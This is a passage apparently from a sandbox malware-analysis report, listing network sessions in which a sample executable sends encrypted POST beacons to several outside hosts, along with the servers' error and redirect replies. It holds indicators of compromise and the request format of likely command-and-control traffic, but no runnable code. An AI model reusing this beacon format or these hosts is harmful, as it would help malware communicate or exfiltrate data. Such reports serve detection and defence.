74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a [TRUNCATED] Data Ascii: 1e40<!DOCTYPE HTML><html lang="ja"><head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Shippori+Mincho:wght@600;800&display=swap" rel="stylesheet"> <title></title>... All in One SEO 4.3.9 - aioseo.
Oct 25, 2024 11:17:41.412527084 CEST	1236	IN	Data Raw: 63 6f 6d 20 2d 2d 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e5 9f bc e7 8e 89 e7 9c 8c e8 93 ae e7 94 b0 e5 b8 82 e3 81 ab e4 bc 9a e7 a4 be e3 82 92 e6 a7 8b e3 81 88 e3 81 Data Ascii: com --><meta name="description" content="
Oct 25, 2024 11:17:41.412542105 CEST	424	IN	Data Raw: 20 63 6f 6e 74 65 6e 74 3d 22 e5 9f bc e7 8e 89 e7 9c 8c e8 93 ae e7 94 b0 e5 b8 82 e3 81 ab e4 bc 9a e7 a4 be e3 82 92 e6 a7 8b e3 81 88 e3 81 a6 e3 81 84 e3 82 8b e3 80 8c e6 9c 89 e9 99 90 e4 bc 9a e7 a4 be e3 82 a8 e3 82 af e3 82 b9 e3 83 86 Data Ascii: content="
Oct 25, 2024 11:17:41.412641048 CEST	1236	IN	Data Raw: 3a 2f 2f 77 77 77 2e 65 78 2d 6f 6c 69 76 65 2e 63 6f 6d 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 78 2d 6f 6c 69 76 65 2e 63 Data Ascii: ://www.ex-olive.com" /><meta property="og:image" content="http://www.ex-olive.com/wp-content/uploads/logo_ogp.jpg" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="630" /><meta name="twit
Oct 25, 2024 11:17:41.412657022 CEST	1236	IN	Data Raw: 69 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 65 78 2d 6f 6c 69 76 65 2e 63 6f 6d 5c 2f 22 2c 22 6e 61 6d 65 22 3a 22 5c 75 33 30 64 62 5c 75 33 30 66 63 5c 75 33 30 65 30 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 5c 75 35 37 Data Ascii: id":"https:\/\/www.ex-olive.com\/","name":"\u30db\u30fc\u30e0","description":"\u57fc\u7389\u770c\u84ee\u7530\u5e02\u306b\u4f1a\u793e\u3092\u69cb\u3048\u3066\u3044\u308b\u300c\u6709\u9650\u4f1a\u793e\u30a8\u30af\u30b9\u30c6\u30ea\u30a2\u30aa\u3
Oct 25, 2024 11:17:41.412672997 CEST	424	IN	Data Raw: 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 65 78 2d 6f 6c 69 76 65 2e 63 6f 6d 5c 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 4c 6f 67 6f 22 7d 7d 2c 7b 22 40 74 79 70 65 22 3a 22 57 65 62 50 61 67 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 5c Data Ascii: https:\/\/www.ex-olive.com\/#organizationLogo"}},{"@type":"WebPage","@id":"https:\/\/www.ex-olive.com\/#webpage","url":"https:\/\/www.ex-olive.com\/","name":"\u6709\u9650\u4f1a\u793e\u30a8\u30af\u30b9\u30c6\u30ea\u30a2\u30aa\u30ea\u30fc\u30d6\
Oct 25, 2024 11:17:41.412820101 CEST	1236	IN	Data Raw: 30 30 63 5c 75 36 37 30 39 5c 75 39 36 35 30 5c 75 34 66 31 61 5c 75 37 39 33 65 5c 75 33 30 61 38 5c 75 33 30 61 66 5c 75 33 30 62 39 5c 75 33 30 63 36 5c 75 33 30 65 61 5c 75 33 30 61 32 5c 75 33 30 61 61 5c 75 33 30 65 61 5c 75 33 30 66 63 5c Data Ascii: 00c\u6709\u9650\u4f1a\u793e\u30a8\u30af\u30b9\u30c6\u30ea\u30a2\u30aa\u30ea\u30fc\u30d6\u300d\u3067\u306f\u3001\u304a\u5ba2\u69d8\u3072\u3068\u308a\u3072\u3068\u308a\u306b\u30d9\u30b9\u30c8\u306a\u30d7\u30e9\u30f3\u3092\u63d0\u6848\u3057\u3066
Oct 25, 2024 11:17:41.412832975 CEST	212	IN	Data Raw: 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 65 22 3a 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 65 78 2d 6f 6c 69 76 65 2e 63 6f Data Ascii: rchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.ex-olive.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}}]}</script>... All in One SEO --><link rel
Oct 25, 2024 11:17:41.412848949 CEST	1236	IN	Data Raw: 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 75 6e 70 6b 67 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e Data Ascii: ='dns-prefetch' href='//unpkg.com' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='stylesheet' id='classic-theme-styles-css' href='http://www.ex-olive.com/wp-includes/css/classic-themes.min.css' type='text/css' media='all' />
Oct 25, 2024 11:17:41.412863970 CEST	1236	IN	Data Raw: 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 Data Ascii: reset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%
Oct 25, 2024 11:17:41.412949085 CEST	1236	IN	Data Raw: 6e 65 2d 67 72 61 79 73 63 61 6c 65 27 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 64 75 6f 74 6f 6e 65 2d 2d 70 75 72 70 6c 65 2d 79 65 6c 6c 6f 77 3a 20 75 72 6c 28 27 23 77 70 2d 64 75 6f 74 6f 6e 65 2d 70 75 72 70 6c 65 2d 79 65 6c 6c 6f Data Ascii: ne-grayscale');--wp--preset--duotone--purple-yellow: url('#wp-duotone-purple-yellow');--wp--preset--duotone--blue-red: url('#wp-duotone-blue-red');--wp--preset--duotone--midnight: url('#wp-duotone-midnight');--wp--preset--duotone--magenta-yell

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	52634	3.94.41.167	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:40.366532087 CEST	820	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.netcr.com Cache-Control: no-cache Data Raw: 61 78 4c 42 70 54 36 45 46 50 75 5a 32 67 34 54 43 56 34 34 45 79 47 38 38 65 62 2b 4d 70 62 5a 55 6f 67 36 46 4f 42 33 50 58 66 33 58 4d 6a 44 72 52 39 45 31 6c 63 47 78 75 63 59 47 4a 56 6a 77 53 59 4a 35 57 61 4d 6d 2f 4d 66 4d 45 45 6c 6b 57 79 48 68 66 37 30 46 4a 37 31 36 6b 71 44 38 4c 43 33 62 33 75 76 71 52 6f 4d 61 74 5a 55 33 74 41 59 4d 39 7a 79 4e 44 33 4d 4d 43 69 52 32 55 78 6c 58 55 67 34 77 67 6e 36 7a 6a 5a 68 64 58 42 37 43 6f 50 4a 63 76 51 2b 62 6c 77 41 59 6a 70 31 58 73 56 44 48 50 74 37 34 63 73 34 4c 2f 32 50 4c 72 6a 6f 49 59 4d 54 63 2f 32 79 68 34 45 52 58 4a 55 4e 50 56 6d 4f 6e 50 32 54 57 34 32 42 71 76 63 77 74 74 75 44 38 4b 45 68 68 41 69 6a 79 41 2f 53 37 51 45 6a 6c 6e 35 65 6e 59 69 7a 71 6d 6a 34 36 78 2f 6f 4a 45 55 6b 6a 6d 50 4f 32 4a 6f 7a 47 6e 4f 37 34 4e 63 72 67 6b 75 6b 52 4f 4f 2f 79 52 52 78 49 42 67 4e 58 4a 4b 30 48 69 74 2f 51 54 6a 75 4a 62 61 43 67 39 66 55 61 6c 2f 76 65 2f 50 4d 6d 42 59 6d 72 2b 43 5a 54 68 49 6f 4b 57 34 66 41 75 4a 2b 6e 51 [TRUNCATED] Data Ascii: axLBpT6EFPuZ2g4TCV44EyG88eb+MpbZUog6FOB3PXf3XMjDrR9E1lcGxucYGJVjwSYJ5WaMm/MfMEElkWyHhf70FJ716kqD8LC3b3uvqRoMatZU3tAYM9zyND3MMCiR2UxlXUg4wgn6zjZhdXB7CoPJcvQ+blwAYjp1XsVDHPt74cs4L/2PLrjoIYMTc/2yh4ERXJUNPVmOnP2TW42BqvcwttuD8KEhhAijyA/S7QEjln5enYizqmj46x/oJEUkjmPO2JozGnO74NcrgkukROO/yRRxIBgNXJK0Hit/QTjuJbaCg9fUal/ve/PMmBYmr+CZThIoKW4fAuJ+nQuG75hbYL541AXcJZMMDmE2CPI/yTrZ6WR2sb9mpjQUMR3D8J8dNhOUpthR+h1FTY/o++OrZqx18Lg6v2lGwyiSbZkpvTkH6Y8BlMSawrDybh4A7yRellXEOKfif+zEXEM+W7mOb9G+NBFMzKR9g0vi3nf/2P8rkMdYxJsHX0hg+b6BZaPiHJ5n8mp8ntj5sjAknmXXdZXBEmXxajrP/onj8EgbGK/y6D4i7L5NTQyx9LA1PR5Wff4Aqow=
Oct 25, 2024 11:17:41.031591892 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	52635	107.180.98.101	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:40.408313036 CEST	781	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 548 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.2print.com Cache-Control: no-cache Data Raw: 4c 4d 41 53 30 56 77 74 4e 2f 74 7a 48 32 33 4b 68 2b 6c 4b 61 4f 38 6f 4b 69 4e 30 6e 65 73 44 55 4b 79 6b 61 78 7a 67 4a 61 50 2f 2f 63 79 77 32 71 64 73 4b 6c 37 52 67 49 63 46 4b 52 41 6a 41 31 75 6f 37 68 53 34 71 73 7a 72 67 5a 77 53 78 7a 53 6e 32 4a 45 73 62 4f 42 75 6a 4c 50 4a 68 58 34 43 43 73 30 66 66 47 52 44 32 32 39 4b 4c 50 59 55 73 55 64 63 32 76 6d 75 4b 67 44 6b 39 6b 53 34 6b 2b 38 66 62 43 62 59 4a 4d 45 5a 4d 56 64 68 30 6b 69 73 67 53 57 79 55 50 38 50 55 4c 67 50 44 73 70 45 6c 41 42 74 5a 49 6a 72 44 72 63 6c 5a 57 30 45 2b 76 56 42 43 4c 6d 67 6b 6e 65 46 77 52 4c 38 6d 43 31 32 74 73 61 44 79 64 68 7a 44 34 69 4e 68 53 46 42 65 52 57 5a 62 41 51 64 6c 32 4e 30 4d 76 66 70 56 66 52 35 59 45 4f 62 6b 48 4e 63 55 34 35 6a 51 43 58 57 47 2b 41 74 78 45 43 53 4f 6e 51 66 56 41 79 72 41 6a 30 54 6e 71 66 41 74 6e 37 53 34 43 44 6c 33 55 31 2f 46 34 59 4e 56 31 71 31 33 6b 7a 6d 70 70 79 4c 52 79 33 49 37 36 46 57 78 4f 53 63 43 2f 56 6c 41 35 48 4a 66 54 6a 78 65 55 63 57 73 55 [TRUNCATED] Data Ascii: LMAS0VwtN/tzH23Kh+lKaO8oKiN0nesDUKykaxzgJaP//cyw2qdsKl7RgIcFKRAjA1uo7hS4qszrgZwSxzSn2JEsbOBujLPJhX4CCs0ffGRD229KLPYUsUdc2vmuKgDk9kS4k+8fbCbYJMEZMVdh0kisgSWyUP8PULgPDspElABtZIjrDrclZW0E+vVBCLmgkneFwRL8mC12tsaDydhzD4iNhSFBeRWZbAQdl2N0MvfpVfR5YEObkHNcU45jQCXWG+AtxECSOnQfVAyrAj0TnqfAtn7S4CDl3U1/F4YNV1q13kzmppyLRy3I76FWxOScC/VlA5HJfTjxeUcWsU1BBds+erMGhnpNl8uheF93c+waoXgstF6Wh9AbCSXOI1BCtjU+8mVm4Tnv6deA8WqyhAblTrbdqWL7ohXhUUbCQbN6dJE24I3jiwiljCMvkSH/41WOhi85F0OpO2t4kuN+uUvRQwvxa3+HA9/co14Nwl+VETcAQKnbtYmRuBUUbwVDi/WTxNl8DGTAkbOCs6thHceGYeJIIBR6anpl
Oct 25, 2024 11:17:41.055562019 CEST	411	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:40 GMT Server: Apache Location: https://2print.com/ Content-Length: 227 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 32 70 72 69 6e 74 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://2print.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:41.075377941 CEST	781	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 548 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.2print.com Cache-Control: no-cache Data Raw: 4c 4d 41 53 30 56 77 74 4e 2f 74 7a 48 32 33 4b 68 2b 6c 4b 61 4f 38 6f 4b 69 4e 30 6e 65 73 44 55 4b 79 6b 61 78 7a 67 4a 61 50 2f 2f 63 79 77 32 71 64 73 4b 6c 37 52 67 49 63 46 4b 52 41 6a 41 31 75 6f 37 68 53 34 71 73 7a 72 67 5a 77 53 78 7a 53 6e 32 4a 45 73 62 4f 42 75 6a 4c 50 4a 68 58 34 43 43 73 30 66 66 47 52 44 32 32 39 4b 4c 50 59 55 73 55 64 63 32 76 6d 75 4b 67 44 6b 39 6b 53 34 6b 2b 38 66 62 43 62 59 4a 4d 45 5a 4d 56 64 68 30 6b 69 73 67 53 57 79 55 50 38 50 55 4c 67 50 44 73 70 45 6c 41 42 74 5a 49 6a 72 44 72 63 6c 5a 57 30 45 2b 76 56 42 43 4c 6d 67 6b 6e 65 46 77 52 4c 38 6d 43 31 32 74 73 61 44 79 64 68 7a 44 34 69 4e 68 53 46 42 65 52 57 5a 62 41 51 64 6c 32 4e 30 4d 76 66 70 56 66 52 35 59 45 4f 62 6b 48 4e 63 55 34 35 6a 51 43 58 57 47 2b 41 74 78 45 43 53 4f 6e 51 66 56 41 79 72 41 6a 30 54 6e 71 66 41 74 6e 37 53 34 43 44 6c 33 55 31 2f 46 34 59 4e 56 31 71 31 33 6b 7a 6d 70 70 79 4c 52 79 33 49 37 36 46 57 78 4f 53 63 43 2f 56 6c 41 35 48 4a 66 54 6a 78 65 55 63 57 73 55 [TRUNCATED] Data Ascii: LMAS0VwtN/tzH23Kh+lKaO8oKiN0nesDUKykaxzgJaP//cyw2qdsKl7RgIcFKRAjA1uo7hS4qszrgZwSxzSn2JEsbOBujLPJhX4CCs0ffGRD229KLPYUsUdc2vmuKgDk9kS4k+8fbCbYJMEZMVdh0kisgSWyUP8PULgPDspElABtZIjrDrclZW0E+vVBCLmgkneFwRL8mC12tsaDydhzD4iNhSFBeRWZbAQdl2N0MvfpVfR5YEObkHNcU45jQCXWG+AtxECSOnQfVAyrAj0TnqfAtn7S4CDl3U1/F4YNV1q13kzmppyLRy3I76FWxOScC/VlA5HJfTjxeUcWsU1BBds+erMGhnpNl8uheF93c+waoXgstF6Wh9AbCSXOI1BCtjU+8mVm4Tnv6deA8WqyhAblTrbdqWL7ohXhUUbCQbN6dJE24I3jiwiljCMvkSH/41WOhi85F0OpO2t4kuN+uUvRQwvxa3+HA9/co14Nwl+VETcAQKnbtYmRuBUUbwVDi/WTxNl8DGTAkbOCs6thHceGYeJIIBR6anpl
Oct 25, 2024 11:17:41.412302017 CEST	411	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:41 GMT Server: Apache Location: https://2print.com/ Content-Length: 227 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 32 70 72 69 6e 74 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://2print.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	52639	69.163.182.181	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:40.749037027 CEST	777	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jchysk.com Cache-Control: no-cache Data Raw: 35 67 5a 78 48 75 7a 38 76 50 71 55 72 4c 52 6a 31 39 50 5a 39 2f 2f 79 6c 30 42 45 44 50 6d 57 34 43 7a 4a 44 31 45 6b 71 42 68 52 74 78 67 39 30 52 67 6f 53 6d 66 77 79 30 48 37 75 65 7a 61 2b 4b 6d 2f 48 4e 65 39 78 41 43 53 65 58 66 70 4c 36 62 6e 62 72 38 65 53 32 35 30 30 2f 49 6c 42 4f 48 5a 6b 4c 6a 53 59 49 67 6b 6c 6f 6d 34 44 5a 4d 44 58 4d 36 57 43 4b 6b 53 35 49 4d 79 72 43 33 51 42 46 55 56 75 4c 77 38 4c 66 4a 48 6e 6a 35 4b 2f 49 38 2f 4e 58 59 55 6d 63 2b 7a 54 55 42 48 6e 6c 38 65 65 37 4c 4f 39 55 52 31 53 38 64 62 2b 6d 4b 70 75 47 79 71 31 6a 41 39 2f 50 2f 52 55 76 55 2b 41 65 6b 33 4c 4a 6f 69 6e 62 4d 33 48 56 56 2b 50 44 39 62 75 57 50 44 59 73 73 6d 6f 36 61 73 61 41 62 45 54 4a 66 48 51 38 6a 37 6b 34 48 47 5a 44 54 65 73 65 6a 4b 76 42 66 59 50 56 48 72 55 43 56 36 44 51 42 69 2f 51 55 51 57 73 45 36 7a 39 44 30 30 6e 44 42 51 32 6e 66 47 44 63 7a 58 4f 2f 47 30 33 31 4b 52 4e 57 79 74 4c 2b 64 32 43 56 63 38 34 4e 62 33 34 54 50 31 51 42 2f 76 6e 68 4f 48 6f 6a 66 6a 4c [TRUNCATED] Data Ascii: 5gZxHuz8vPqUrLRj19PZ9//yl0BEDPmW4CzJD1EkqBhRtxg90RgoSmfwy0H7ueza+Km/HNe9xACSeXfpL6bnbr8eS2500/IlBOHZkLjSYIgklom4DZMDXM6WCKkS5IMyrC3QBFUVuLw8LfJHnj5K/I8/NXYUmc+zTUBHnl8ee7LO9UR1S8db+mKpuGyq1jA9/P/RUvU+Aek3LJoinbM3HVV+PD9buWPDYssmo6asaAbETJfHQ8j7k4HGZDTesejKvBfYPVHrUCV6DQBi/QUQWsE6z9D00nDBQ2nfGDczXO/G031KRNWytL+d2CVc84Nb34TP1QB/vnhOHojfjL2aTk22XMuEpR1M+bUbsmOfoizz3sDOALbg89JF0D7kUJq1Vjn7+LZw2GOgBsD+0QsIsimNTQ77KUMOMXTYAdf5BNWYz03+YPSGRUWu5SwTjebbtgex1dLtMrLWMl8j+HYquoypc4KFKJmfzV81q03DPhUtevYIWEQDqiK9cbjwNW7Kv9V2izYXyvY8A9mBLzaOARlK+tvgUo8=
Oct 25, 2024 11:17:41.473006964 CEST	690	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 25 Oct 2024 09:17:41 GMT Server: Apache Content-Length: 533 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6a 63 68 79 73 6b 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@jchysk.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	52641	188.166.152.188	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:40.767894983 CEST	803	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.c9dd.com Cache-Control: no-cache Data Raw: 37 45 46 46 77 30 48 73 63 50 76 2b 44 44 79 68 49 4e 69 6c 45 52 70 2b 2b 31 36 2f 61 6b 70 68 42 57 2f 57 37 6b 62 43 51 6b 55 6c 6a 48 68 65 41 70 33 66 4a 39 4d 75 58 66 30 4c 70 56 33 35 7a 71 73 68 4e 4f 76 73 46 76 38 4d 30 42 72 66 4f 55 38 51 32 67 2f 67 4a 69 44 49 4a 6b 37 73 4e 43 53 5a 33 6b 7a 5a 6c 34 54 4b 4f 57 62 59 30 42 7a 42 72 32 32 41 41 54 51 6f 51 35 35 75 36 4b 4c 49 45 62 38 44 65 2f 63 6e 52 34 2b 66 44 4a 49 31 48 44 49 39 37 77 70 4b 53 30 4d 6f 68 36 42 41 49 41 53 65 66 30 50 31 78 75 55 78 7a 7a 41 77 78 79 52 63 77 45 73 77 47 54 49 37 4b 74 57 6c 46 2b 39 6f 57 34 6a 49 45 64 4f 4d 31 74 36 52 37 35 32 74 71 6c 39 53 45 78 6c 52 34 2f 4a 62 73 4d 4f 6c 6f 31 43 54 59 4a 4a 4b 62 62 44 37 33 4a 38 68 76 4d 53 62 34 31 36 62 31 41 63 79 6d 33 38 38 63 59 79 58 30 73 4c 48 32 5a 50 67 52 53 72 79 72 50 61 6e 66 42 52 56 2f 35 44 42 4e 63 4c 44 4d 30 30 37 43 35 76 49 71 6e 62 64 47 34 48 69 2f 44 4c 31 57 70 47 43 47 32 62 48 72 74 53 77 41 51 47 61 71 73 59 54 59 72 [TRUNCATED] Data Ascii: 7EFFw0HscPv+DDyhINilERp++16/akphBW/W7kbCQkUljHheAp3fJ9MuXf0LpV35zqshNOvsFv8M0BrfOU8Q2g/gJiDIJk7sNCSZ3kzZl4TKOWbY0BzBr22AATQoQ55u6KLIEb8De/cnR4+fDJI1HDI97wpKS0Moh6BAIASef0P1xuUxzzAwxyRcwEswGTI7KtWlF+9oW4jIEdOM1t6R752tql9SExlR4/JbsMOlo1CTYJJKbbD73J8hvMSb416b1Acym388cYyX0sLH2ZPgRSryrPanfBRV/5DBNcLDM007C5vIqnbdG4Hi/DL1WpGCG2bHrtSwAQGaqsYTYrd+pgmrvgqQWyRNkZseuNpaukjinJNK2KKN6PguNTYX+3bcIBbrWGFxiuPqqzebh2RKzJxNTbpfgy4z62ZRezMsqR1PAxap9+RAHM9qi8VPVx+FvK8hiFptogNc+nGxYbjs1v1e+5y6+5skub/K0xvonSDXZceAIuyuCDLVgxt5PcKLou4iProg6e2odBpFC66RomT/idML3loqNR3r8yP8L6zrCKkZ9uBwerbI/w==
